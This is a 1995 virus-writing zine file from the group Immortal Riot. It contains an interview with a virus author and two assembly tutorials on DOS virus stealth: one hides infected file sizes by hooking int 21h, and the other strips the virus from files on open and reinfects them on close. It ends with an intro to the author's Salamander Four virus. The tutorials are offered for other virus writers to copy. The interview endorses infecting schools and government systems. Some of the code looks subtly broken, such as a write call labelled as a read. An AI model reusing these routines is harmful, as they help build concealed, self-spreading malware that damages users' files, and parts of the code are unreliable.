Insane Reality issue #7 - (c)opyright 1995 Immortal Riot               File 006 


% Blonde's little corner %

--------------------------

What follows is a few things done by Blonde, Immortal Riot's second 
newest member. A few things included here are really old, and it 
doesn't show his capacity for shits. For example, his latest virus 
is a MBR/COM/EXE/Floppy full-stealth virus, written for his own 
educational purposes. It looks nothing but messy (as for now), and 
that is the reason why he wanted to rewrite it to be way-more 
structured  before it was going to be made public. It will be 
released seperately after IR7, and should also serve the purpose 
of being a multipartite tutorial since it is as he puts it "over- 
commented". It should be something to watch out for!



Ok. Let's start with a little interview with this person, from where 
we'll look as his work :-). (Size-stealth & disinfection-stealth- 
tutorials, and a virus which demonstrates the techniques works) 


- The Unforgiven.



=====================[ BLONDE INTERVIEW
]======================================= 


This interview was done quite some time ago (When Blonde still was an 
independant novice viruswriter), but since I want you to know the new 
members of Immortal Riot, I decided to include it anyhow.



The story why Blonde (then using another handle), became a member of 
the virus community was bcos he got hit by a destructive virus I made 
for IR#5 and wanted to know how to protect himself against those evil 
programs :). He ended up being a member of the group which crashed his 
harddrive.



TU = The Unforgiven

BL = Blonde



TU> Give me a short description of who you are?

    (real name/ID-number/phone#/adress/age :))



BL> John Doe / 01-12-23/ 0123-456 78 / 54 Unknown St. / 18 


TU> From where did you get you handle, Blonde?



BL> From one of Quentin Tarantinos movies, Reservoir Dogs. One of the main 
    characters is called Mr. Blonde



TU> Does your handle has some specific meaning?



BL> The character Mr. Blonde is kind of cruel... guess I'm cruel too;) 


TU> When did you discovered the world of computers?



BL> That was around the age of, erh..., 11 or 12 or something like it... 


TU> How long have you been active in the scene?



BL> Depends on wich scene... I haven't been active in the virus scene for 
    more than a year, or maybe one and a half..something like it, I don't 
    count days...



TU> Why did you start to call boards and such things?



BL> Well first I was just astonished that I could use a modem to 
    comunicate with other persons then I got into the wareZ scene and 
    discovered that one could get hold of alot of intresting softw. but 
    that didn't last long... but it was still the main reason I started 
    calling boards.

    (* side note... I don't know why but it seems like the warez scene is 
     where all ppl start out, but then move on to the scene that really fits 
     them. end side note *)



TU> How did you come into the virus business?



BL> Well I guess I just wanted to learn more about viruses, mainly for 
    protective purposes. As some of you guys know I didn't bother about 
    viruses until I got hit by Bad Attitude... (* This is a very 
    funny story, indeed - TU *) then I started to look at virus-code and 
    though it woul be cool to be able to write one by myself and well after 
    a period of trial and error I succeeded and realised I'd found my niche. 


TU> Why did you start to write viruses?



BL> Because they intrigued me... they attracted me and to some extent to 
    make something those warez-puppies feared like hell... 


TU> Which goals do you have as a viruswriter?



BL> To make the perfect virus... would be nice ;) naah well I set my goals 
    in a closer future as for now I'm aiming to do a multipartite. It 
    might even be included in this mag.. who knows?

    after that I'll probebly try to combine all my knowledge in a 
    multipartite with full stealth or something like it... 
    (* This has now been sorta done.. *)



TU> What programming-languages are you familiar with, and whats your 
    favourite language?



BL> I'm a descent pascal programmer. I was my first programming language 
    and I've done tons of apps in it. I'm also familiar with C and trying 
    to teach myself C/C++ at the moment... and asm ofcourse. 


    Since I started using asm I've realised that it's far more powerful 
    atleast if it's not too _big_ apps. so nowadays I mainly use asm for 
    everything...



TU> How many viruses have you written?



BL> gee... I dunno... not so many I guess. I think I've _finished_ about 5 
    or so.. they're easy to count though... one non-ow, one res com, one 
    enc res com, one res com/exe and then s4



TU> How do you name your viruses?



BL> That depends... Something that has a meaning to me... or something 
    that sounds good... Salamander Four for example was nicked from a book 
    by Peter O'Donnel where S4 is the name of a crime-syndicate... 


TU> What motivates you to write viruses?



BL> The learning process... mainly and the kick when you've succeeded with 
    something you haven't done before. thats a thrill..



TU> Did some of them carried a destructive payload?



BL> I've written destructive payloads, yes... but up to date I haven't 
    spread my viruses so I've never included any payloads at all 


TU> Do you think you will continue to write viruses?



BL> Yes, until I get fed up with them, but that will hopefully take 
    time...



TU> Whould you feel guilty if one of your viruses made damage to a 
    hospital, and someone got harmed bcos of that?



BL> Probably... I don't know since it hasn't happened... but I think I 
    would... thats why I prefere non-destructive payloads... 


TU> Would you deliberate infect a school or government institution if you 
    know they would replicate well if you did so?



BL> Yes.. schools and govermental institutions wouldn't be a problem at 
    all, because a virus can't do anyone physical harm through them... 


TU> Do you find it easier to infect pirated software (which is illegal to 
    use), than PD/SW software?



BL> That doesn't bother me at all... software is software... I just add my 
    piece of code... it doesn't change the function of the program... BUT 
    if I infect pirate software that would probably be because I would like 
    my virus to spread... pd/sw doesn't travel as fast as pirated software 
    does...



TU> Do you encourage deliberate destructive code in viruses? 


BL> It doesn't bother me as long as it isn't my HD you're nukin'... but I 
    prefer funny payloads...



TU> Have you considered writing destructive code in viruses? 


BL> Oh yes. I've considered it... I'll probably end up including 
    destructive code in some viruses, just to get attention ;) 


TU> What to you think of the issue concerning 'undestructive-viruses'? 


BL> They're harmless as long as the remover (the person who removes them) 
    knows what to do and that may be a plus since most ppl. wouldn't get as 
    pissed off when struck by an undestructive virus...



TU> Do you think one can make a virus benefictial?



BL> Maybe... I've had that though really... I just tend to see viruses as 
    a piece of code... or artificial life ;)



TU> Have you ever considered writing a GOOD virus?



BL> I would be more than happy to write a good virus since it then might 
    be more appreciated for the programming skill it took to write it 
    and not rejected by the fact that the viruses are seen as evil... 


TU> Gonthev described in his 'write-up' "Is good Computer-Viruses still 
    a bad idea?". Do you think it's possible to write a GOOD virus, which 
    serves a useful task, and at the same time, solves all problems that 
    he described?



BL> It might be possible to write a _good_ virus BUT I'm not sure I would 
    consider viruses good, since it is so easy to loose control over it... 
    say for example you use one to encrypt your HD. what would your friend 
    think if his hd got encrypted?



    It might be possible to write what you and I consider a good virus, 
    but there is always someone who'll disagree with you.



TU> About virus-code-generators, what is your opinion about them, and 
    about people using them thinking they are hot-shot-3liT333? 


BL> I consider people using code-generators as the worst virus-writer 
    wannabes. I really think they should try to write their own code, 
    because it's not that hard really... it just takes practise. 


    Though code-generators are good for some people (like me ;)). I 
    actually learned a great deal from G2 and my first virus actually 
    looked very much like a G2 generated virus, but I wouldn't want to 
    release that source ;) On the other hand. To create a generator is a 
    good way to prove oneself as a good virus writer, because it takes a 
    lot of skill to do so...



TU> Do you write viruses to get recognition in the virus/AV community? 


BL> To some extent yes, because I'm not going to get any recognition 
    from the users that get hit by my viruses ;)



    But the recognition isn't that important. whats important is the fact 
    that I succeeded in creating the virus, that is by itself really 
    enough for me...



TU> What do you think about the media/AV describing viruswriters as 
    lonely individuals with no life?



BL> Haha... thats probably the biggest lie of them all! I'm having a 
    hard time finding enough time to write viruses because I've got 
    a very busy social life.



TU> Do you think the scene is associal or not?



BL> Thats a hard question... It's quite hard to get into the community, 
    ie. finding a board, making friends and learning... but once you're 
    in it's the best scene around!



    It's easier if you've got access to internet and irc though... you 
    meet alot of real good coders on irc and they're all willing to help 
    you out...



TU> How are you in real life?



BL> Hehe.. I'm a party animal... I just love parties it's just too bad my 
    wallet doesn't... I guess I'm just another normal guy, but with intresest 
    in viruses.



TU> How do you make your living?



BL> I don't. I'm still studying.

    (* Notice, now Blonde also works for the same company as our 
       sysop, The Wizard does. He earns a lot of money, but spends 
       it all on Camel's (ciggs) and booze. - TU *)



TU> Have the scene/viruswriting influent you in real life? 


BL> My opinion on viruses has changed a great deal... I've lost most of 
    my respect for them ie. my fear... ;) but my knowledge in viruses has 
    made me the av'er of the school when it gets hit... it might be because 
    I always know which virus it is... usually mine ;).



TU> What do your parents/close friends think about your viruswriting? 


BL> My parents don't know, but I doubt that they would care. It's my 
    choice, they can't stop me and they know it... they might disagree 
    but since they're very realistic they wouldn't try or anything... 
    most of my friends aren't aware of the fact that I write viruses, 
    some of them do and I'm trying to get one of them to start 
    writing. (* Movitz :-), Monica's little darling, hahhahah! *)                        (NBL) <- Rb's
secret comment ;> (don't tell ne1) 


TU> Why havn't you told your parents about your activity in the 
    virus arena?



BL> If they asked I would tell them if I thought it would change my 
    relationship with them, but I generally don't go around telling people 
    that I'm writing viruses because of the bad reputation viruses have got. 
    People tend to look at virus writers with disgust and thats not what 
    I'm looking for so I don't tell them...



TU> Are you only into viruswriting or other parts of the

    computer-underground as well?



BL> I'm at the moment deep into viruses, but hacking is also an option if 
    virus writing gets boring. Well you could also probably add pirating 
    to the list since I don't have the money too buy the software I need... 
    but if I did I would probably stop, because programmers deserve 
    the money. Although most programmers at Microsoft don't ! 


TU> What in the scene do you find okay to do, and what dont you do bcos 
    you find it morally wrong?



BL> Board trashing is morally wrong... it might be a lame sysop but he 
    has spent hours and hours setting the board up so let him be... 


TU> What parts of the underground do you think needs improvements? 


BL> The information exchange... most people just poll nets they don't 
    share..



TU> Whats your opinion about polymorphic engines?



BL> Okey to use for the author, but for anyone else it would be like a 
    using a code-generator...



TU> Why do you think people won't use them? (other than the inventors?) 


BL> Because those who use code-generators are happy with that and often 
    not smart enough to use a polymorphic engine...

    the real virus writers wouldn't want to use code they haven't created 
    by themself atleast not to that extent...



TU> What do you think about the new computer-laws propositions concerning 
    viruses?



BL> ARGH! viruses shouldn't be illegal in ANY way... it's just a piece of 
    code or if you look at it in a different way some characters in a 
    file... well I'm not into laws... I don't think a community should have 
    any laws... I belive that everybody should use common sense to judge their 
    actions.. but that won't work in todays society...



TU> Whats your opinion about the EU?



BL> Well... too big... but as it looks Sweden would've had real big 
    problems if not being accepted... the EU-market is too large too miss 
    and swedish companies would've moved out of the country to get cheaper 
    labour and to get rid of all the taxes... aah well nothing is perfect, 
    is it?



TU> Whats your opinion about the swedish government?



BL> It sucks... the politicians are too weak and no one has the guts to do 
    anything about it...



TU> Do you distribute your viruses to the public?



BL> Haven't done that so far...



TU> Which virus programmer do you admire/like?



BL> I donno really... haven't had that much contact with _major_ virus 
    writers... but I like Qark's style, doing the flash bios infector, 
    because it has never been done before... Thats what I admire, 
    originality.



TU> Describe the perfect virus:



BL> Hard to do actually, one could say that it would be full stealth on 
    every aspect and infect floppy boot/mbr/com/exe/sys/ovl and so forth, but 
    tomorrow everything might change because of some new tool invented or 
    something...



TU> Describe the perfect viruscoder:



BL> Even harder... but the most important thing is time and a brain is 
    preferred...



TU> Describe the AV-community in a few lines:



BL> Since I haven't released any viruses to the public I haven't encountered 
    any _real_ AV'ers... but I've followed some discussions at anti-virus 
    meetings and most of the AV'ers are simply morons... and they like 
    flaming so I guess I don't like 'em.



TU> Which AV-program do you think is the best?



BL> Tbav is probably the best if you know viruses, but Fprot is a close 
    second... For people not knowing so much about viruses I recommend 
    Mc Affee's scan since it doesn't give you any false alarms... 


TU> Do you think an AV-program can guarantee 100% detection rate 
    for all known & unknown viruses?



BL> No, not without hardware protection. If it's software there will 
    always be way around it or a backdoor or a bug wich one could use to 
    by-pass it...



TU> Bontchev wrote an article called "Future trends in viruswriting", to 
    you think viruses described will be coded in the future? 


    (Lan aware viruses, snatching passwords, etc.)



BL> Believe me, there are already viruses like that around! 


TU> (Anti-virus-virus - (retrovirus))



BL> If you mean that virus writers will attack other viruses, then I guess 
    I think that won't be so likely... maybe co-existing but not nukeing 
    others...



    (* Stupid goof, retro-viruses do attack AV-software - TU :) *) 


    (maybe if you had wrote it "Anti-Anti_virus-virus" he would of got 
    it right ;) , looks like you both made a mistake ;)) (yep, you guessed 
    right: another obnoxious remark from rb :))



TU> (self-mutating viruses)



BL> This is probebly very likely to be a project for someone, but it would 
    be DAMN hard to do... if not entirely impossible... probably impossible 
    actually.



TU> (Hardware level stealth - like Strange)



BL> mmm I don't know shit about Strange... but I guess writers all over 
    will try to find better ways of stealthing, so thats more than likely 
    to produce more complicated stealth-methods.



TU> What to you think about the future for PC-DOS viruses? 


BL> The dos-virus probably still has a future because it'll be hard to 
    kill the dos environment... some people say that dos will die with 
    win95. I don't belive in that, maybe because I'll never change to a 
    GUI (* Grafical User Interface - TU *) but because win95 has enormous 
    hardware requirements that many pc-users won't match so atleast 
    they'll stay a while in a plain dos environment...



TU> Do you think viruses will be written for other (newer) operating- 
    systems like OS/2 and Win95?



BL> Yes probably... but not in pure-asm, as I see it it'll be the era of 
    high-level viruses... I also think it'll be another generation of virus 
    writers because most of todays writers are pure-asm coders and they 
    won't like the thought of writing viruses in C or Pascal or something 
    like it...



TU> Have you ever considered writing a virus for another OS than DOS? 


BL> Considered, yes... tried, no... my knowledge of other OS's are far to 
    basic... and I don't even feel like it would be worth a try.. dos is 
    still the main pc-environment



TU> Any advice to people who want's to learn the basic of virus-writing? 


BL> Yeah... get hold of some sources... ;) naah honestly sources are good, 
    but it's even better to get hold of a virus programmer and have him 
    explain a source. That usually helps ALOT... I'll help everyone I 
    can... and I know most writers feel the same... as long as it isn't 
    REALLY stupid questions... also looking at some tutes is useful. DA's 
    (* Dark Angel/Phalcon/Skism - TU *) guides help me out a lot...  maybe 
    not the code, but the concept.



TU> Do you think the virus-problem will slow down bcos of laws? 


BL> NO, probably just the opposite atleast it would work like that for 
    me... I know I can keep my real name hidden if I wanted to and I 
    disagree with laws like that so it would make me very productive and 
    also very destructive...



TU> Can you be reached somewhere?



BL> I can always be reached at TWL/HNS (+46-8-7354760). I'm working on a 
    real internet account.....



TU> Your mottoe is:



BL> nada... seize the day is a good one, but that is taken by someone.. ;) 
    (* Who?? Horatius? :) *)



TU> Something else you wish to say but never before had to opportunity 
    to say?



BL> Hi mom...;) and well mmm erh...



TU> Do you wish to send any greet/hate messages?



BL> yup... a big thank you to Anders Gavare, Swedens numero uno 
    av-wanna-be and also the guy that keeps me writing viruses ;) 
    Without his attitude I wouldn't be alive since a laughter extends your 
    life... (^Swedish expression.. ;))



    else mmm well thanks to all the people on IRC that has helped me out 
    or tried to help me out... especially darkman/vlad for a helping me 
    with a fprot alarm.



==================================================================
============== 


% Size-stealth by Blonde %



Here's a *messy* tutorial written ages ago by Blonde. It contained 
a few errors, which is pretty bad for a tutorial :-), I erased one 
or two, but if you still find a few bugs, deal with it.



A few things could be commented better, such as the determination- 
technique for fcb-types, however, I've now fixed that up, so be happy :). 


Maybe there is no reason for a semi-stealth tutorial since pretty much 
about everyone just rips another viruses stealth-routine, alters the 
infection-check and plugs it in... So it's for those people or for the 
ones who can write a memory resident infector, but have no clue of how 
to stealth the size-increase the virus causes when infecting (Except 
for the 00-fillers, of course), enjoy.



- The Unforgiven.







            - Size stealth using FCB and Handles -

               Written by Blonde/Immortal Riot



Many new resident viruses include atleast some stealth features, well 
almost all if hiding from dos's mem.com is considered as stealth ;). 
But in this  article I'll go through the basic size stealth. Some of you 
(or most of you ;))  already know how to write a size-stealth routine, 
but there is always someone  who doesn't. I remember when I tried to 
write it without a clue on how to do it...



Size-Stealth:

*************



I guess the concept is quite clear ;). It's basically hiding the files 
increase in size when it's infected by our virus. To do that you have to 
be resident of course, but you can't do anything about that, except make 
the virus a fast replicator ;)



Okey, well first of all you have to mark the infected file somehow. Most 
writers choose to mark the seconds in the time stamp, since they're 
seldomly used. You *can* of course open the file and check your jmp or 
id-marker, but doing it that way would slow down the filesearch in 
a large directory a lot. Thats why its easier(and better) mark the time 
stamp!



You can mark the file as you like, but this is how I generally do. Just 
before you're about to restore the time/date stamp of the file just alter 
CX to hold it. Preferably without altering the hour/min's... 


;CX=time stamp...



and cl,11100000b         ;this will zero-out the seconds field since 
                         ;it's the last 5 bits.

or cl,01110b             ;this set this files seconds field to 01110b 
                         ;=14 (28 seconds) = our specific stealth-marker. 


This is good because it's easy to check if the file was marked by us, 
simply get the timestamp in ax and do an AND al,00011111b followed by a 
XOR al,01110b to get al=0 IF the file was marked by us...



We could also mark the time-stamp with the century method. The century 
method is as simple as the seconds method... just add another 100 years 
to the year field and remove them in the resident stealth routine, this 
method is good if you've got a mbr infector or something like it, 
because if the virus isn't in the memory this method will generate 
TBAV's 'T'-flag and probably trigger F-Prot too. But on the other 
hand, no program will be stealthed without being infected... adding 
another century could be done like this...



;DX=date stamp



add dh,c8h              ;this add 100 years to the yearfield it's 
                        ;year-1980=bit 15-9 in dx...

                        ;0c8h = 100 shl 1, since it's shifted left 
                        ;once



To detect this at stealth time simply do a cmp dh,0c8h and if it's 
below then it can't be infected by us... simple right? BUT you'll have 
to stealth the date too so just do a sub dh,0c8h when you stealth the size... 
this might have been a bit fuzzy, if so stick to

the seconds method ;).



Say we've marked all our infected files by setting the seconds field 
to 01110b How do we hide the size then? And from what do we hide them? 


Well we want to hide them from file searches, atleast thats what I'm 
teaching you ;). And DOS mainly provide two ways to search for files, 
via FCB or via file handles. The file handles have been recommended to 
use since DOS version 2+ or something, yet DIR still uses the FCB so 
today we'll have to hide from both of them to get enough coverage, but 
who knows we might be able too lose those FCB's in a future since DOS 
v7.0+ shall use handles ;)



We simply add 11h/12h (FCB's) and 4e/4f (Handles) to our interrupt 21h 
handler. Yes, you'll have to hook int 21h by yourself ;)

It can look something like this:



new_int21h:

.

.

.

.

cmp ah,11h

jz  stealth_fcb

cmp ah,12h

jz stealth_fcb

cmp ah,4eh

jz stealth_handle

cmp ah,4fh

jz stealth_handle

jmp dword ptr cs:[Oldint21h]



11h and 4Eh is basicly find first and 12h/4Fh is find next, that 
should be a problem... make the 11h/12h point to one routine and 
4Eh/4Fh to another.



We'll start with the FCB routine since it's a bit more complicated... 


Stealth_Fcb:            ;jmp here from int-hook...



pushf

push cs

call org21h             ;This will fake a call to the real int 21h 
                        ;because else we would not know what to steath. 
                        ;on return ds:dx point to unopened FCB 


or al,al                ;since 11h/12h doesn't set carry flag on error 
jnz stealth_error       ;we'll check that the error code=0=no-error 
                        ;or al,al is a smaller variant of cmp al,0 btw! 


push ax bx es           ;save them because we'll alter them 


mov ah,51h              ;get current psp, ah=62h is also ok. 
int 21h                 ;returns segment of current psp in bx 


mov es,bx               ;es=bx=current psp

cmp bx,es:[16h]         ;this is to check if it's DOS calling, 
jne dont_stealth        ;we does this to not screw up programs like 
                        ;chkdsk, this means; we stealth only on 'DIR' 


mov bx,dx               ;bx=offset to unopened FCB

mov al,ds:[bx]          ;At the first offset of an unopened FCB the 
                        ;drive is stored if it's *not* an extended fcb 
                        ;if it's an extended-fcb, the value it FFh. 
                        ;(Everything is extended-fcb nowadays.. ) 


push ax                 ;Save AX on the stack (It's FF or 0 ) 
mov ah,2Fh              ;Get current DTA

int 21h                 ;returns dta to es:bx

pop ax                  ;Restore AX (Is FF or 0)



inc ax                  ;By Inc AX, we and cmp for ZERO, we can notice 
                        ;if we're dealing with regular or extended FCB 
                        ;types. FFh+1=0, so, if it's *not* 0 after we 
                        ;increased AX (AX=AX+1), it's not zero, then its 
                        ;not an extended-FCB-type either.

jnz regular_fcb



add bx,7h               ;If extended, add 7 to bx, this is the ONLY difference 
                        ;between extended and regular FCB's, the extended has 
                        ;some extra bytes which would fuck up our offset if we 
                        ;didn't care...

regular_fcb:

mov ax,es:[bx+17h]      ;get time stamp from the DTA (es:bx pointer, 17h=adress) 


and al,00011111b        ;kill everything but seconds field 
xor al,01110b           ;xor with our timestamp

jnz dont_stealth        ;if al isn't zero the file wasn't marked by us! 
                        ;check your logic book if you don't understand XOR! 


cmp word ptr es:[bx+1Dh],vsize+mininfectsize



ja stealth              ;this is obvious, if it is large enough to be 
                        ;infect, stealth it...



cmp word ptr es:[bx+1fh],0



je dont_stealth         ;since COM-files cannot be over 64k, don't stealth 
                        ;files which are so large.



stealth:

sub word ptr es:[bx+1Dh],vsize          ;stealth it!

;sbb word ptr es:[bx+1Fh],0         ;No need to stealth high-word for 
                                    ;COM-infectors only, Blonde :-). 


dont_stealth:

pop es bx ax            ;restore these

stealth_error:

iret                                    ;return to the caller with or 
                        ;without stealth



I guess this could be hard to get at the first view... but it's easy. 
First of all you fake an int call because you want something to 
stealth... then you get the current psp, no problems there... You check 
to see if it's dos calling. Then you move the byte at PSP:0 into al. 
That's because you must check if it's an extended FCB. The difference 
between  regular and extended is that an extended FCB also includes some 
DOS RESERVED areas which one must skip to get to the information you 
want... A fact is that the regular fcb is almost unused only dos versions 
prior to 4 used it. Then you get the address to the DTA, it's returned 
in es:bx, next check if it's an extended FCB and add 7 to bx if it is... 
(thats because of the reserved areas) then one stores the timestamp from 
the dta in ax.

You then must and/xor al to see if your marker is there... if it isn't you 
bail. If it's there you check if the filesize isn't too small, note that 
you first have to check if the low word is larger than the virus if it is 
stealth it. If it's smaller then check the high word (ie. how many 64k 
block is it?), if it's zero then it's impossible to infect the file... 


If all thats a match we subtract the virus-size from the filesize at 
es:[bx+1Dh] (low word) and es:[bx+1fh] (high word)



Finally we pop es/bx/ax and iret to the calling routine.



And now to the handle routine, it's simpler than the FCB routine 
because all we need is the DTA... but I guess you already knew that ;) 


Stealth_Handles:



pushf

push cs

call org21h                  ;still fake

jc stealth_error             ;we can use this since 4e/4f sets the 
                             ;carry flag on error

pushf

push ax bx es                ;push the flags because they'll be altered by 
                             ;the int call

mov ah,2fh

int 21h                      ;get dta in es:bx



mov ax,es:[bx+16h]           ;get time stamp



and al,00011111b

xor al,01110b

jnz dont_stealth             ;If not zero, then file is not infected! 


cmp word ptr es:[bx+1Ah],vsize+minsize  ;check if file is too small? 
ja stealth

cmp word ptr es:[bx+1Ch],0

je dont_stealth              ;check if file is too large?



stealth:

sub word ptr es:[bx+1Ah],vsize          ;Substract code-lenght 
;sbb word ptr es:[bx+1Ch],0         ;Still no need to sub high-word.. 


dont_stealth:

pop es bx ax

popf

stealth_error:

retf 2                       ;return far, pop 2 off stack (cs:ip) 
                             ;don't pop flags since they're may be 
                             ;altered by int call



The handle-stealth routine should look really familiar ;) It's almost 
exactly the same as the FCB routine, but you don't have to bother about 
those extended fcbs and stuff, but I'll go through it anyway... but 
just on the points that differ from the fcb routine...



The jump if carry can be used instead of that or al,al because 4e/4f 
set the carry flag on error...you must also pop the flags just because 
of that, the call might alter them in another way...

Also get the dta and timestamp and check if it's yours and so on, 
but that shouldn't be a problem, just observe that all offsets change! 


We use a retf 2 because we don't want to pop the flags of the stack 
since we already done so by ourselfs...



It's possible to smash these routines into one, well nearly. 
That can save valueable bytes. I won't bother going thru that here, 
but it's basiclly adding 3 to bx to get the right offset when doing the 
last part, look at my virus Salamander Four which is included at the end 
of this file. It's a com only infector so it'll look a little different 
since you don't have to worryabout the high word of the filesize since 
comfiles only can be 64kb's long...



I guess this isn't the best explanation you could get, but it's all 
you'll get from me ;). I'll be happy to answer any questions 
concerning this matter or any other. I'm reachable at TWL/HNS or via 
Nukenet and I'm even on IRC sometimes...



==================================================================
============== 


% Full stealth tutorial by Blonde %



What follows is kinda tutorial of disinfection-stealth. It 
doesn't cover any *redirection* stealth (such as the one Bluenine 
in IR#6 uses), and quite frankly it might not be the best tutorial 
the vx-community has seen, but we can always hope it's for some 
gain to someone.



Alternative code how physical disinfection can be done is presented 
in my Hybris virus, which also is a bit more optimized than this one :-). 
Nevertheless, this is the very same technique my Petra.1308 virus used, 
so atleast it works..



I've edited this one a bit (Yea, I know it doesn't look like I did, 
but I did!) and well, we can always hope Mr.Blonde will write his 
next tutorial in a sober-mode :-).



- The Unforgiven.



             - Full Stealth or Disinfection on open -

                 Written by Blonde/Immortal Riot



Introduction



Okey, this is for those guys who've already made an effective size-stealth 
and want some more or those who just like reading ;)



Full stealth for me is when you completely remove the virus from the file. 
Preferebly done when you open it. The idea behind this is ofcourse that it 
will be harder to spot and it is for the common users, but thats all we want 
isn't it?



What's very important when using disinfection is to infect on close or else 
you'll of course end up with some major problems ;) Okey, this is a bit more 
complex than the size stealth I discussed in my earlier article and I'm not 
a teacher so this can be quite hard to understand.



I'll mainly go through the disinfection of a COM file, but with 
pseudo code for EXE files as well. All code presented will though be COM- 
only.



The basic idea behind disinfection of COM-files is to first of all check 
if the file is infected by your virus, then simply restore what we've changed 
in the file, that is the first 3-5 bytes in a COM and then simply truncate 
the file at (filesize-virussize).



As for EXE-files the scenario is exactly the same, restore what you 
changed in the EXE-header rewrite it to the file... and truncate it. 


To succeed in these matters you'll have to hook int 21h and tap ah=3d (open) 


Check-For-Infection



disinfect_3d:           ;called by our int handler if ah=3dh 


                    ;Upon entry to ah=3Dh ds:dx points to the filename... 


        push ax bx cx dx di si ds es            ;save registers in use 


        push ds

        pop es  ;es=ds

        mov di,dx

        mov al,'.'

        mov cx,64

        repne scasb             ;this will repeatedly scan byte by byte for 
                    ; '.' in the filename stored in ds:dx=es:di 
                    ;di will then point to offset of '.'+1 


        cmp word ptr ds:[di],'OC'

        jne nocom

        cmp word ptr ds:[di],'M'

        je openfile                     ;check if it is a com... if it wasn't 
      nocom:

        jmp not_opened                  ;it wasn't a *.com file so don't 
                                        ;disinfect



      openfile:                         ;com-file being opened! 
        pushf

        push cs

        mov ax,3d02h

        call org21h                     ;open file in read/write mode 
        jc nocom                        ; error ==> bail out 


        xchg ax,bx



        push cs cs                      ;cs=ds=es

        pop es ds



        mov ax,5700h                    ;get file's time & date 
        int 21h

        push cx                         ;save time &

        push dx                         ;date on the stack 


      read_4f:

        mov ah,3fh                      ;just read the firstfour bytes to 
        mov cx,4                        ;a buffer.

        mov dx,(hostbytes-vstart)

        int 21h



      chk_4_markers:

        cmp byte ptr ds:[hbytes-vstart],0e9h            ;check if firstchar 


        jne close_file                                  ;is a jmp (e9) 
                                                        ;if not ==> bail! 


        cmp byte ptr ds:[hbytes-vstart+3],fileid        ;4th byte = our marker? 


        jne close_file                                  ; if not ==> bail! 


That was the first part of the disinfection routine, the part that check if 
the file *really* is infected. In a nutshell, the code works like this: 


First of all we want to check if the file first of all is a COM/EXE file. 


What we did was simply to scan ds:dx for the '.' which separates the filename 
from the file extension and then compare it to COM/EXE (the code only checks 
for com's, but you can fix that ;). That'll be sufficent to determine if it 
was a COM/EXE file...



The next step would be to check if the COM/EXE file really is infected. 
This can be done in diffrent ways and some more secure than others, but what 
I've done in this code is to read the  first four bytes and check the first 
against a jmp instruction (the one which jumps to the first instruction in 
the main virus-code) and then check the fourth against 'fileid' a byte which 
I write to every file I infect... com only of course.



That should do it. To be even more secure one could check for size and 
even stealth markers (like seconds) and such, but I don't think it's so 
very likely that a com file starts first with a jmp and then as the forth 
byte have another byte equal to what we want... Ah well it might corrupt 
some files, but who cares? ;)



Note that we don't do a regular open, since that would be recursive we have to 
call the original interrupt handler directly...



To do the same for EXE-files is almost as easy... read the whole header 
(be sure to save the header-information in the file for this purpose, 
don't do any heap-optimizing) and check against your markers maybe the 
prelocated SP or maybe the negative checksum or whatever... then continue 
with the disinfection where we left the com files...



Restore Init-Bytes



      read_hostbytes:

        mov ax,4202h

        xor cx,cx

        cwd

        int 21h                         ;ax=fsize



        push ax                         ;push fsize.. used lateron... 
                        ;if exe then push dx too

        xchg ax,dx



        sub dx,(vend-hbytes)

        mov ax,4200h

        xor cx,cx

        int 21h                         ;goto dx in files... 


        mov ah,40h

        mov cx,4

        mov dx,(hbytes-vstart)

        int 21h                         ;read host bytes from end of file... 


This is the part where you fetch the original values of infected file. Since 
this is important, also remember to leave the original bytes un-encrypted if 
the virus is encrypted. Else you'll have to decrypt them, which is pretty 
stupid. Encrypted full-stealth viruses might be considered a bit overdoing it, 
but well, that's up to you to decide. It's also wise to place the init-bytes 
at the end-of the file because that makes file-seek's operations shorter. 


Well anyways, first get the filesize in ax then load it in dx and sub dx with 
the byte difference from the very end of the virus to the begining of 
the hostbytes (in this case 4...) then go to that offset in the file ie. 
four bytes from the end and then read those four bytes which are the files 
original bytes... if it wasn't a COM I wouldn't xor cx,cx and I would also use 
a sbb cx,0 since fsize might be larger than 64k ;) else there isn't anymore 
differences. you'll just have to sub/read the appropriate number of bytes... 


The next step will be to restore those bytes to the begining of the file... 


        mov ax,4200h

        xor cx,cx

        cwd

        int 21h                 ;go to beginning of file... 


        mov ah,40h

        mov dx,(hbytes-vstart)

        mov cx,4

        int 21h                 ;restore them



Well that' obvious, wasn't it?

The EXE version would only differ if you didn't save the whole EXE-header, 
because then you would have to read it, then restore the real values and 
re-write it to file then... therefor is it easier to simply write the whole 
EXE-header to the end of the infected file, but that'll of course increase 
the size of the virus.



Remove the virus from the host-file



To truncate the file at filesize-virussize we do this...



        pop dx          ;this was push'd two snippets up and it's the file-size 
                        ;should also pop cx if it was an exe 


        mov ax,4200h

        sub dx,virusize ;subtract the virus-size from the filesize 
        int 21h         ;go to filsize-virusize



      truncate:

        mov ah,40h

        xor cx,cx

        int 21h         ;this is the trick. to truncate simply write zero bytes 
                        ;to the file...



Okey it's simple... restore the filesize we pushed earlier (both cx,dx if EXE) 
and then sub it with the virus size (don't forget sbb cx,0 if EXE...) 
Then go to that offset and write zero bytes to it, that'll truncate it... 


      close_dis:

        mov ax,5701h

        pop dx cx

        int 21h         ;restore time/date stamp



        mov ah,3eh

        pushf

        push cs

        call org21h     ;close call to real int handler



      no_opendis:

        pop es ds si di dx cx bx ax

        jmp org21h



You're finished! just restore the time/date stamp and close the file... 
Just don't forget to close via a direct call to the real int 21 handler, since 
you wouldn't want to re-infect the file ;) then we chain into the real dos 
open since the virus has been removed!



This code will successfully disinfect any file opened by ah=3Dh/int 21h, but 
there are other ways of opening files, one of them is extended open which 
F-Prot uses, ax=6c00h/int 21h. It's possible to trap it too, but then you'll 
have to deal with some minor snags. Like loading ds:dx with filename ... If 
you're intrested check out Salamander Four...



==================================================================
============== 


% Salamander-Four by Blonde %



S4 has been released internally in IR ever since it was written, and 
frankly said, I have no idea which version this is (A quite early one, 
I believe). However, it's though scannable by AVP, which is nothing 
but fucking weird! Maybe it did travel the same route as Linda.517? 


Anyways, there is (according to the author), a great deal of shit 
in this virus, but if you see it as a proof that the tutorial works, 
that would help ;).



Ugh.. there you go, and yea, expect quality from Bln in the future. 


- The Unforgiven.



S4 is a resident self-encrypting COM infector.

It'll infect on 4b00/3e (execute and close)

it replaces the critical error handler (int 24h),

only on execute though... (* In another version, this was solved..  - TU *) 
stealth 4e/4f and 11/12 and disinfect on open (* full stealth - TU *) 


S4 has grown quite large due to the disinfect and infect on close... but 
it could probably be pressed down to below 900 bytes, atleast if one tried 
